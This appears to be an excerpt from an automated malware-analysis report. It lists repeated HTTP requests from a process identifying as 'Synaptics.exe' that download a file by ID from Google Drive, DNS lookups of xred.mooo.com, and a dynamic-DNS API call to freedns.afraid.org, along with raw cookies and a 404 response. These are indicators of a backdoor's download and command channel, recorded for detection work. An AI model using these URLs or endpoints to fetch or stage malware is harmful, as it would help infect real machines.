Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6y-NqeDsV2q-e1p0fryf_bqdAU3yzpjGLdcNLadSpNmd_4bFDyqGS45XIawW61yq2-Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:47 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-SQEE3XChO5OufOScLviPgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerSet-Cookie: NID=520=Z8ISdsaDgeQ-R92528VnVtLURB30Y38-aVS--eidvIefqkCEPr3CIShwBqvQNChxi78jJs_B6El_WOypI3n11rvYfqf5fJH8w9cnwSg4NbUzFQTFVkPa-k6AAbvGWHeJ6bZIGGecF_hCji0wmUDxwNYOPzmKmt0jaFEwuZae5k0dUpTZ8SV0SQRO; expires=Fri, 04-Jul-2025 19:28:47 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
